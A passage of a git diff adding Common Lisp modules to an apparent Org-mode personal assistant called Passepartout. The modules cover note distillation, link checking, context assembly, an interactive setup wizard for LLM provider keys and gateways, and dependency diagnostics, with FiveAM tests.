session-duration returns a positive number after init." + (passepartout::sensor-time-initialize) + (let ((dur (passepartout::session-duration))) + (is (numberp dur)) + (is (>= dur 0)))) + +(test test-sensor-time-tick-empty + "Contract 3: sensor-time-tick returns nil when no deadlines are near." + (clrhash passepartout::*memory-store*) + (let ((result (passepartout::sensor-time-tick))) + (is (null result)))) + +(test test-sensor-time-tick-detects-deadline + "Contract 3: sensor-time-tick detects a deadline close in time." + (clrhash passepartout::*memory-store*) + (setf passepartout::*deadline-warning-minutes* 120) + (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago + (ingest-ast (list :type :HEADLINE + :properties (list :ID "deadline-test" + :TITLE "Submit report" + :DEADLINE (write-to-string near-future-time)) + :contents nil))) + (let ((result (passepartout::sensor-time-tick))) + (is (not (null result))) + (is (search "Submit report" result)))) diff --git a/lisp/symbolic-archivist.lisp b/lisp/symbolic-archivist.lisp new file mode 100644 index 0000000..9758821 --- /dev/null +++ b/lisp/symbolic-archivist.lisp @@ -0,0 +1,279 @@ +(in-package :passepartout) + +(in-package :passepartout) + +(defvar *archivist-last-scribe* 0 + "Universal time of the last Scribe distillation run.") + +(defvar *archivist-last-gardener* 0 + "Universal time of the last Gardener scan run.") + +(defvar *archivist-gardener-interval* 86400 + "Seconds between Gardener scans. Default: 24 hours.") + +(defun archivist-scribe-distill () + "Distills daily log entries into atomic notes. Reads the Memex daily/ +directory for log files modified since the last run, extracts headlines +as potential note seeds, and creates atomic note files in notes/ with +backlinks to the source daily entry." + (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") + (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) + (daily-dir (merge-pathnames "daily/" memex-dir)) + (notes-dir (merge-pathnames "notes/" memex-dir)) + (now (get-universal-time)) + (notes-created 0)) + (unless (uiop:directory-exists-p daily-dir) + (log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir) + (return-from archivist-scribe-distill nil)) + (ensure-directories-exist notes-dir) + (handler-case + (let ((daily-files (uiop:directory-files daily-dir "*.org"))) + (dolist (file daily-files) + (let* ((filepath (namestring file)) + (file-mtime (ignore-errors (file-write-date filepath)))) + (when (and file-mtime (> file-mtime *archivist-last-scribe*)) + ;; Extract headlines from daily log + (let* ((content (handler-case (uiop:read-file-string filepath) + (error () nil))) + (headlines (when content + (archivist-extract-headlines content)))) + (dolist (hl headlines) + (when (archivist-create-note hl notes-dir filepath) + (incf notes-created)))))))) + (error (c) + (log-message "ARCHIVIST: Scribe error: ~a" c))) + (setf *archivist-last-scribe* now) + (when (> notes-created 0) + (log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created)) + notes-created)) + +(defun archivist-extract-headlines (content) + "Extracts first-level headlines and their content from Org text. +Returns a list of plists: (:title :content :tags )." + (let ((lines (uiop:split-string content :separator '(#\Newline))) + (results nil) + (current-title nil) + (current-lines nil) + (current-tags nil) + (in-properties nil)) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space) line))) + (when (string= trimmed ":PROPERTIES:") + (setf in-properties t)) + (when (string= trimmed ":END:") + (setf in-properties nil)) + (when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed)) + (setf current-tags + (mapcar (lambda (tag) (string-trim '(#\Space) tag)) + (uiop:split-string (string-trim '(#\Space) (subseq trimmed 6)) + :separator '(#\space #\tab))))) + (cond + ;; First-level headline + ((and (uiop:string-prefix-p "* " trimmed) + (not (uiop:string-prefix-p "**" trimmed))) + ;; Save previous + (when current-title + (push (list :title current-title + :content (format nil "~{~a~^~%~}" (nreverse current-lines)) + :tags current-tags) + results)) + (setf current-title (string-trim '(#\* #\Space) trimmed) + current-lines nil + current-tags nil + in-properties nil)) + ;; Content lines under current headline + (current-title + (unless (or (uiop:string-prefix-p "*" trimmed) + (string= trimmed ":PROPERTIES:") + (string= trimmed ":END:")) + (push line current-lines)))))) + ;; Save last headline + (when current-title + (push (list :title current-title + :content (format nil "~{~a~^~%~}" (nreverse current-lines)) + :tags current-tags) + results)) + (nreverse results))) + +(defun archivist-headline-to-filename (title) + "Converts a headline title to a valid atomic note filename. +Replaces spaces and special chars with underscores, downcases." + (let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title "")) + (underscored (cl-ppcre:regex-replace-all "\\s+" clean "_")) + (lowered (string-downcase underscored))) + (if (> (length lowered) 100) + (subseq lowered 0 100) + lowered))) + +(defun archivist-create-note (headline notes-dir source-filepath) + "Creates an atomic note from a headline plist in the notes/ directory. +Headline is a plist (:title :content :tags ). +Returns T if note was created, nil if it already exists." + (let* ((title (getf headline :title)) + (content (or (getf headline :content) "")) + (tags (getf headline :tags)) + (filename (archivist-headline-to-filename title)) + (filepath (merge-pathnames (format nil "~a.org" filename) notes-dir)) + (source-basename (enough-namestring source-filepath + (merge-pathnames "" notes-dir)))) + (when (uiop:file-exists-p filepath) + (return-from archivist-create-note nil)) + (handler-case + (progn + (uiop:with-output-file (s filepath :if-exists nil) + (format s "#+TITLE: ~a~%" title) + (format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags) + (format s "~%* ~a~%" title) + (format s ":PROPERTIES:~%") + (format s ":CREATED: ~a~%" (org-id-generate)) + (format s ":SOURCE: ~a~%" source-basename) + (format s ":END:~%") + (format s "~%~a~%" content) + (format s "~%* Backlinks~%") + (format s "- Source: [[file:~a][~a]]~%" source-basename + (file-namestring source-filepath))) + (log-message "ARCHIVIST: Created note ~a" (namestring filepath)) + t) + (error (c) + (log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c) + nil)))) + +(defun archivist-gardener-scan () + "Scans the Memex for broken file links and orphaned memory objects. +Broken links are =[[file:...]]= references whose target file does not exist. +Orphaned objects are =memory-object= entries whose =:parent-id= references +a deleted object. Returns a plist (:broken-links :orphans )." + (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") + (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) + (org-files (archivist-find-org-files memex-dir)) + (broken-links 0) + (orphans 0)) + ;; Scan for broken links + (dolist (file org-files) + (handler-case + (let* ((content (uiop:read-file-string file)) + (links (archivist-extract-file-links content))) + (dolist (link links) + (let ((target (merge-pathnames link (make-pathname :directory + (pathname-directory file))))) + (unless (uiop:file-exists-p target) + (log-message "ARCHIVIST: Broken link in ~a -> ~a" + (enough-namestring file memex-dir) link) + (incf broken-links))))) + (error () + (log-message "ARCHIVIST: Could not read ~a" file)))) + ;; Scan for orphaned memory objects + (handler-case + (let ((deleted-ids (make-hash-table :test 'equal))) + ;; In practice, we check if parent-id points to a non-existent object + (maphash (lambda (id obj) + (declare (ignore obj)) + (setf (gethash id deleted-ids) t)) + (if (boundp '*memory-store*) + (symbol-value '*memory-store*) + (make-hash-table :test 'equal))) + (let ((store (if (boundp '*memory-store*) + (symbol-value '*memory-store*) + (make-hash-table :test 'equal)))) + (maphash (lambda (id obj) + (let ((parent (memory-object-parent-id obj))) + (when (and parent (not (gethash parent store))) + (log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)" + id parent) + (incf orphans)))) + store))) + (error () + (log-message "ARCHIVIST: Memory store not available for orphan scan"))) + (setf *archivist-last-gardener* (get-universal-time)) + (list :broken-links broken-links :orphans orphans))) + +(defun archivist-find-org-files (memex-dir) + "Recursively finds all .org files under memex-dir, up to 3 levels deep." + (let ((files nil)) + (labels ((walk (dir depth) + (when (and (uiop:directory-exists-p dir) (< depth 3)) + (handler-case + (dolist (entry (uiop:subdirectories dir)) + (walk entry (1+ depth))) + (error ())) + (handler-case + (dolist (file (uiop:directory-files dir "*.org")) + (push (namestring file) files)) + (error ()))))) + (walk memex-dir 0)) + files)) + +(defun archivist-extract-file-links (content) + "Extracts all =[[file:...]]= link targets from Org content. +Returns a list of link target strings." + (let ((links nil)) + (cl-ppcre:do-register-groups (target) + ("\\[\\[file:([^\\]]+)\\]\\[" content) + (unless (search "::" target) ;; skip internal anchors + (pushnew target links :test #'string=))) + ;; Also handle bare [[file:target]] links + (cl-ppcre:do-register-groups (target) + ("\\[\\[file:([^\\]]+)\\]\\]" content) + (unless (search "::" target) + (pushnew target links :test #'string=))) + links)) + +(defun archivist-run (action context) + "Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules +and dispatches as needed. Called by the deterministic gate." + (declare (ignore action context)) + (let ((now (get-universal-time))) + ;; Scribe runs every 6 hours (21600 seconds) + (when (>= (- now *archivist-last-scribe*) 21600) + (ignore-errors (archivist-scribe-distill))) + ;; Gardener runs every 24 hours + (when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*) + (ignore-errors + (let ((result (archivist-gardener-scan))) + (when (> (getf result :broken-links) 0) + (log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans" + (getf result :broken-links) (getf result :orphans))))))) + nil) + +(defskill :passepartout-symbolic-archivist + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) + :deterministic #'archivist-run) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-symbolic-archivist-tests + (:use :cl :passepartout) + (:export #:archivist-suite)) + +(in-package :passepartout-symbolic-archivist-tests) + +(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") +(fiveam:in-suite archivist-suite) + +(fiveam:test test-extract-headlines + "Contract 1: archivist-extract-headlines parses Org content." + (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) + (headlines (archivist-extract-headlines content))) + (fiveam:is (listp headlines)) + (fiveam:is (>= (length headlines) 1)))) + +(fiveam:test test-headline-to-filename + "Contract 2: archivist-headline-to-filename sanitizes titles." + (let ((filename (archivist-headline-to-filename "My Project: Overview"))) + (fiveam:is (search "my_project_overview" filename :test #'char-equal)) + (fiveam:is (not (search ":" filename))))) + +(fiveam:test test-archivist-create-note + "Contract 3: archivist-create-note writes a Zettelkasten note to disk." + (let* ((tmp-dir "/tmp/passepartout-archivist-test/") + (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (unwind-protect + (progn + (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) + "Expected note creation to return T") + (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) + "Expected file test_note.org to exist")) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) diff --git a/lisp/symbolic-awareness.lisp b/lisp/symbolic-awareness.lisp new file mode 100644 index 0000000..444085d --- /dev/null +++ b/lisp/symbolic-awareness.lisp @@ -0,0 +1,228 @@ +(in-package :passepartout) + +(defun context-query (&key tag todo-state type scope) + "Filters the Memory based on tags, todo states, or types. +Optional SCOPE restricts results to objects with that scope +or :memex (global scope always visible)." + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t)) + ;; Scope filter: if scope specified, only match :memex (global) or same scope + (when (and scope (not (eq (memory-object-scope obj) :memex)) + (not (eq (memory-object-scope obj) scope))) + (setf match nil)) + (when (and type (not (eq (memory-object-type obj) type))) (setf match nil)) + (when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil))) + (when (and todo-state (not (equal state todo-state))) (setf match nil)) + (when match (push obj results)))) + *memory-store*) + results)) + +(defun context-active-projects () + "Returns headlines tagged as 'project' that are not yet marked DONE." + (remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE")) + (context-query :tag "project" :type :HEADLINE))) + +(defun context-recent-tasks () + "Retrieves recently finished tasks from the store." + (context-query :todo-state "DONE" :type :HEADLINE)) + +(defun context-skill-list () + "Provides a sorted overview of currently loaded system capabilities." + (let ((results nil)) + (maphash (lambda (name skill) + (declare (ignore name)) + (push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results)) + *skill-registry*) + (sort results #'> :key (lambda (x) (getf x :priority))))) + +(defun context-skill-source (skill-name) + "Reads the raw literate source of a specific skill for inspection." + (let* ((filename (format nil "~a.org" skill-name)) + (data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname)))))) + (org-dir (merge-pathnames "org/" data-dir)) + (full-path (merge-pathnames filename org-dir))) + (if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil))) + +(defun context-skill-subtree (skill-name heading-name) + "Reads a specific headline subtree from a skill's Org source file. +Returns the content under HEADING-NAME (including children) as a string, +or nil if the heading is not found." + (let ((full-source (context-skill-source skill-name))) + (unless full-source (return-from context-skill-subtree nil)) + (if (fboundp 'org-subtree-extract) + (org-subtree-extract full-source heading-name) + ;; Fallback: no org-subtree-extract available, return full source + full-source))) + +(defun context-logs (&optional limit) + "Retrieves the most recent lines from the harness's internal log." + (let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20))) + (bt:with-lock-held (*log-lock*) + (let ((count (min log-limit (length *log-buffer*)))) + (subseq *log-buffer* 0 count))))) + +(defun context-get-system-logs (&optional limit) + "Backward-compatibility alias for context-logs." + (context-logs limit)) + +(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil)) + "Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model." + (let* ((id (memory-object-id obj)) + (is-foveal (equal id foveal-id)) + (title (or (getf (memory-object-attributes obj) :TITLE) "Untitled")) + (content (memory-object-content obj)) + (children (memory-object-children obj)) + (stars (make-string depth :initial-element #\*)) + (obj-vector (memory-object-vector obj)) + (threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75)) + (similarity (if (and foveal-vector obj-vector (not is-foveal)) + (vector-cosine-similarity foveal-vector obj-vector) + 0.0)) + (is-semantically-relevant (>= similarity threshold)) + (should-render (or (<= depth 2) is-foveal is-semantically-relevant)) + (output "")) + + (when should-render + (setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id)) + (when is-semantically-relevant + (setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity)))) + (setf output (concatenate 'string output (format nil ":END:~%"))) + + (when (and content (or is-foveal is-semantically-relevant)) + (setf output (concatenate 'string output content (string #\Newline)))) + + (dolist (child-id children) + (let ((child-obj (memory-object-get child-id))) + (when child-obj + (let ((next-foveal (if is-foveal child-id foveal-id))) + (setf output (concatenate 'string output + (context-object-render child-obj + :depth (1+ depth) + :foveal-id next-foveal + :semantic-threshold threshold + :foveal-vector foveal-vector)))))))) + output)) + +(defun context-path-resolve (path-string) + "Expands environment variables and strips literal quotes from a path string." + (let ((path (if (stringp path-string) + (string-trim '(#\" #\' #\Space) path-string) + path-string))) + (if (and (stringp path) (search "$" path)) + (let ((result path)) + (ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path) + (let ((var-val (uiop:getenv var-name))) + (when var-val + (setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val))))) + result) + path))) + +(defun context-privacy-filtered-p (obj) + "Returns T if an org-object's :TAGS attribute matches the Dispatcher's privacy tags." + (let* ((attrs (memory-object-attributes obj)) + (tags (getf attrs :TAGS)) + (privacy-tags (and (find-package :passepartout.security-dispatcher) + (symbol-value + (find-symbol "*DISPATCHER-PRIVACY-TAGS*" + :passepartout.security-dispatcher))))) + (when (and tags privacy-tags) + (let ((tag-list (if (listp tags) tags (list tags)))) + (some (lambda (tag) + (some (lambda (private) + (string-equal (string-trim '(#\:) tag) + (string-trim '(#\:) private))) + privacy-tags)) + tag-list))))) + +(defun context-awareness-assemble (&optional signal) + "Produces a high-level skeletal outline of the current Memory for the LLM. +Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded." + (let* ((foveal-id (or (getf signal :foveal-focus) + (ignore-errors (getf (getf signal :payload) :target-id)))) + (foveal-vector (when foveal-id + (memory-object-vector (memory-object-get foveal-id)))) + (all-projects (context-active-projects)) + (projects (remove-if #'context-privacy-filtered-p all-projects)) + (output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%"))) + (if projects + (dolist (project projects) + (setf output (concatenate 'string output + (context-object-render project :foveal-id foveal-id :foveal-vector foveal-vector)))) + (setf output (concatenate 'string output "No active projects found.~%"))) + output)) + +(defun context-assemble-global-awareness () + (context-awareness-assemble)) + +(defskill :passepartout-symbolic-awareness + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-peripheral-vision-tests + (:use :cl :fiveam :passepartout) + (:export #:vision-suite)) +(in-package :passepartout-peripheral-vision-tests) + +(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") +(in-suite vision-suite) + +(test test-foveal-rendering + "Contract 1: foveal content inline, peripheral content title-only." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") + :raw-content "FOVEAL CONTENT" :contents nil) + (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") + :raw-content "PERIPHERAL CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) + (is (search "FOVEAL CONTENT" output)) + (is (search "* Peripheral Node" output)) + (is (not (search "PERIPHERAL CONTENT" output)))))) + +(test test-awareness-budget + "Contract 1: all active projects appear in awareness output." + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) + (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) + (let ((output (context-awareness-assemble))) + (is (search "Project 1" output)) + (is (search "Project 2" output)))) + +(test test-context-empty-memory + "Contract 1: empty memory produces clean output without error." + (clrhash passepartout::*memory-store*) + (let ((output (context-awareness-assemble))) + (is (stringp output)) + (is (search "MEMEX" output :test #'char-equal)))) + +(test test-context-no-foveal-focus + "Contract 2: without foveal focus, no inline content appears." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") + :raw-content "CHILD CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble nil))) + (is (stringp output)) + (is (not (search "CHILD CONTENT" output)))))) + +(test test-semantic-retrieval-trigram + "Contract v0.4.0: trigram backend produces non-zero similarity for related content." + (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) + (v2 (passepartout::embedding-backend-trigram "add password authentication"))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.0)))) + (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) + (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) + (let ((sim (passepartout::vector-cosine-similarity v3 v4))) + (is (> sim 0.75)))) + (let ((v5 (passepartout::embedding-backend-trigram "authentication")) + (v6 (passepartout::embedding-backend-trigram "banana"))) + (let ((sim (passepartout::vector-cosine-similarity v5 v6))) + (is (< sim 0.3))))) diff --git a/lisp/symbolic-config.lisp b/lisp/symbolic-config.lisp new file mode 100644 index 0000000..b8991a7 --- /dev/null +++ b/lisp/symbolic-config.lisp @@ -0,0 +1,274 @@ +(defun config-directory () + "Returns the absolute path to the opencortex config directory." + (let ((xdg (uiop:getenv "OC_CONFIG_DIR"))) + (if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname)))))) + +(defun config-file-path () + "Returns the path to the .env configuration file." + (merge-pathnames ".env" (config-directory))) + +(defun config-directory-ensure () + "Creates the configuration directory if it does not exist." + (ensure-directories-exist (config-directory))) + +(defun config-read () + "Reads the .env config file and returns an alist of KEY=VALUE pairs." + (let ((config-file (config-file-path))) + (when (uiop:file-exists-p config-file) + (let ((lines (uiop:read-file-lines config-file)) + (result nil)) + (dolist (line lines) + (when (and line (> (length line) 0) + (not (uiop:string-prefix-p "#" line))) + (let ((eq-pos (position #\= line))) + (when eq-pos + (let ((key (string-trim " " (subseq line 0 eq-pos))) + (value (string-trim " " (subseq line (1+ eq-pos))))) + (push (cons key value) result)))))) + (nreverse result))))) + +(defun config-write (config-alist) + "Writes the config alist to the .env file." + (config-directory-ensure) + (let ((config-file (config-file-path))) + (with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create) + (format stream "# Passepartout Configuration~%") + (format stream "# Generated by opencortex setup~%~%") + (dolist (pair config-alist) + (format stream "~a=~a~%" (car pair) (cdr pair)))))) + +(defun config-get (key) + "Gets a config value by key." + (let ((config (config-read))) + (cdr (assoc key config :test #'string=)))) + +(defun config-set (key value) + "Sets a config value and saves to file." + (let ((config (config-read)) + (pair (cons key value))) + (let ((existing (assoc key config :test #'string=))) + (if existing + (setf (cdr existing) value) + (push pair config)) + (config-write config)))) + +(defun prompt (prompt-text) + "Simple prompt that returns user input as a string. +Returns nil if stdin is non-interactive." + (format t "~a" prompt-text) + (finish-output) + (ignore-errors (read-line))) + +(defun prompt-yes-no (prompt-text) + "Prompts yes/no question. Returns T for yes, nil for no." + (let ((response (prompt (format nil "~a [Y/n]: " prompt-text)))) + (or (string= response "") + (string-equal response "Y") + (string-equal response "y") + (string-equal response "yes")))) + +(defun prompt-choice (prompt-text options) + "Prompts user to choose from a list of options. Returns the chosen option or nil." + (format t "~a~%" prompt-text) + (let ((i 1)) + (dolist (opt options) + (format t " ~a) ~a~%" i opt) + (incf i))) + (let ((response (prompt "Choice"))) + (let ((num (ignore-errors (parse-integer response)))) + (when (and num (<= 1 num) (>= (length options) num)) + (nth (1- num) options))))) + +(defparameter *available-providers* + '(("OpenAI" . "OPENAI_API_KEY") + ("Anthropic" . "ANTHROPIC_API_KEY") + ("OpenRouter" . "OPENROUTER_API_KEY") + ("Groq" . "GROQ_API_KEY") + ("Gemini" . "GEMINI_API_KEY") + ("DeepSeek" . "DEEPSEEK_API_KEY") + ("NVIDIA" . "NVIDIA_API_KEY") + ("Local" . "LOCAL_BASE_URL"))) + +(defun setup-llm-providers () + "Interactive wizard for configuring LLM providers." + (format t "~%~%") + (format t "==================================================~%") + (format t " LLM Provider Configuration~%") + (format t "==================================================~%~%") + + (let ((current-providers (loop for (name . key) in *available-providers* + when (config-get key) + collect name))) + (when current-providers + (format t "Currently configured: ~{~a~^, ~}~%~%" current-providers)) + + (format t "~%") + (format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%") + (format t " Sign up at https://openrouter.ai and paste your API key below.~%") + (format t "~%") + (format t "Available providers:~%") + (format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes") + (format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----") + (dolist (p *available-providers*) + (let ((name (car p)) + (env-key (cdr p)) + (desc (case (car p) + ("OpenRouter" "free tier, 33+ models") + ("OpenAI" "paid, gpt-4o-mini") + ("Anthropic" "paid, Claude 3.5 Sonnet") + ("Groq" "fast inference, free tier") + ("Gemini" "free via API") + ("DeepSeek" "competitive pricing, coding") + ("NVIDIA" "NVIDIA NIM hosted models") + ("Local" "local server, no API key") + (t "")))) + (format t " ~20@A ~25@A ~a~%" name env-key desc))) + (format t "~%") + + (loop + (when (not (prompt-yes-no "Configure a LLM provider?")) + (return)) + (let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*)))) + (unless chosen + (format t "Invalid choice.~%") + (return)) + (let ((env-key (cdr (assoc chosen *available-providers* :test #'string=)))) + (cond + ((string= chosen "Local") + (format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%") + (format t " or http://localhost:8080 for llama.cpp): ") + (let ((url (read-line))) + (if (> (length url) 0) + (progn (config-set env-key url) + (format t "✓ ~a configured at ~a~%" chosen url)) + (format t "Skipping ~a — no URL entered.~%" chosen)))) + (t + (format t "Enter API key for ~a~%" chosen) + (format t " (get one from the provider's website, paste it here): ") + (let ((key (read-line))) + (if (> (length key) 0) + (progn (config-set env-key key) + (format t "✓ ~a API key saved~%" chosen)) + (format t "Skipping ~a — no key entered.~%" chosen)))))))) + + (format t "~%"))) + +(defun setup-add-provider () + "Entry point for adding a single provider (called from CLI)." + (setup-llm-providers)) + +(defun setup-gateways () + "Interactive wizard for configuring external gateways." + (format t "~%~%") + (format t "==================================================~%") + (format t " Gateway Configuration~%") + (format t "==================================================~%~%") + + (format t "Available gateways:~%") + (format t " - Slack (https://api.slack.com/)~%") + (format t " - Discord (https://discord.com/developers/)~%") + (format t "~%") + + (when (prompt-yes-no "Configure a gateway?") + (let ((chosen (prompt-choice "Select platform:" '("Slack" "Discord")))) + (when chosen + (let ((token (prompt (format nil "Enter ~a bot token: " chosen)))) + (if (string= chosen "Slack") + (config-set "SLACK_TOKEN" token) + (config-set "DISCORD_TOKEN" token)) + (format t "✓ ~a gateway configured~%" chosen))))) + + (format t "~%")) + +(defun setup-skills () + "Interactive wizard for enabling/disabling skills." + (format t "~%~%") + (format t "==================================================~%") + (format t " Skill Management~%") + (format t "==================================================~%~%") + + (format t "Note: Skill management is not yet implemented.~%") + (format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout")) + (format t "~%")) + +(defun setup-memory () + "Interactive wizard for memory settings." + (format t "~%~%") + (format t "==================================================~%") + (format t " Memory Settings~%") + (format t "==================================================~%~%") + + (let ((auto-save (prompt "Auto-save interval in seconds [300]:"))) + (when (and auto-save (> (length auto-save) 0)) + (config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save))) + + (let ((history (prompt "History retention in lines [1000]:"))) + (when (and history (> (length history) 0)) + (config-set "MEMORY_HISTORY_RETENTION" history))) + + (format t "✓ Memory settings saved~%") + (format t "~%")) + +(defun setup-network () + "Interactive wizard for network settings." + (format t "~%~%") + (format t "==================================================~%") + (format t " Network Settings~%") + (format t "==================================================~%~%") + + (let ((timeout (prompt "Request timeout in seconds [30]:"))) + (when (and timeout (> (length timeout) 0)) + (config-set "REQUEST_TIMEOUT" timeout))) + + (let ((proxy (prompt "Proxy URL (leave empty for none) []:"))) + (when (and proxy (> (length proxy) 0)) + (config-set "HTTP_PROXY" proxy))) + + (format t "✓ Network settings saved~%") + (format t "~%")) + +(defun setup-wizard-run () + "Main entry point for the interactive setup wizard." + (format t "~%~%") + (format t "╔═══════════════════════════════════════════════════╗~%") + (format t "║ Passepartout Setup Wizard ║~%") + (format t "╚═══════════════════════════════════════════════════╝~%") + (format t "~%") + (format t "This wizard will help you configure:~%") + (format t " 1. LLM Providers (OpenAI, Anthropic, etc.)~%") + (format t " 2. Gateway Links (Slack, Discord)~%") + (format t " 3. Memory Settings~%") + (format t " 4. Network Settings~%") + (format t "~%") + + (config-directory-ensure) + + ;; Step 1: LLM Providers + (when (prompt-yes-no "Configure LLM providers?") + (setup-llm-providers)) + + ;; Step 2: Gateways + (when (prompt-yes-no "Configure gateways?") + (setup-gateways)) + + ;; Step 3: Memory + (when (prompt-yes-no "Configure memory settings?") + (setup-memory)) + + ;; Step 4: Network + (when (prompt-yes-no "Configure network settings?") + (setup-network)) + + ;; Summary + (format t "==================================================~%") + (format t " Setup Complete!~%") + (format t "==================================================~%") + (format t "~%") + (format t "Configuration saved to: ~a~%" (config-file-path)) + (format t "~%") + (format t "To verify your setup, run: passepartout doctor~%") + (format t "~%")) + +(defskill :passepartout-symbolic-config + :priority 100 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/symbolic-diagnostics.lisp b/lisp/symbolic-diagnostics.lisp new file mode 100644 index 0000000..c6ba020 --- /dev/null +++ b/lisp/symbolic-diagnostics.lisp @@ -0,0 +1,210 @@ +(in-package :passepartout) + +(defvar *diagnostics-binaries* '("sbcl" "emacs" "git") + "List of external binaries required for full system operation.") + +(defvar *diagnostics-package-map* + '(("sbcl" . "sbcl") + ("emacs" . "emacs") + ("git" . "git") + ("curl" . "curl") + ("rlwrap" . "rlwrap")) + "Map binary names to apt package names.") + +(defvar *doctor-missing-deps* nil + "List of missing dependencies populated by diagnostics-dependencies-check.") + +(defvar *doctor-auto-install* t + "When T, doctor will attempt to install missing dependencies automatically.") + +(defun diagnostics-dependencies-check () + "Verifies that required external binaries are available in the PATH via shell probe." + (setf *doctor-missing-deps* nil) + (let ((all-ok t)) + (format t "DOCTOR: Checking system dependencies...~%") + (dolist (dep *diagnostics-binaries*) + (let ((path (ignore-errors + (uiop:run-program (list "which" dep) + :output :string :ignore-error-status t)))) + (if (and path (> (length path) 0)) + (format t " [OK] Found ~a~%" dep) + (progn + (format t " [FAIL] Missing binary: ~a~%" dep) + (push dep *doctor-missing-deps*) + (setf all-ok nil))))) + (when (and all-ok (null *doctor-missing-deps*)) + (format t "DOCTOR: All dependencies satisfied.~%")) + all-ok)) + +(defun diagnostics-dependencies-install () + "Attempts to install missing system dependencies via apt." + (when (null *doctor-missing-deps*) + (format t "DOCTOR: No missing dependencies to install.~%") + (return-from diagnostics-dependencies-install t)) + + (format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*)) + + (let ((packages (remove-duplicates + (mapcar (lambda (dep) + (or (cdr (assoc dep *diagnostics-package-map* :test #'string=)) + dep)) + *doctor-missing-deps*) + :test #'string=))) + (format t "DOCTOR: Packages to install: ~a~%" packages) + + (let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages))) + (format 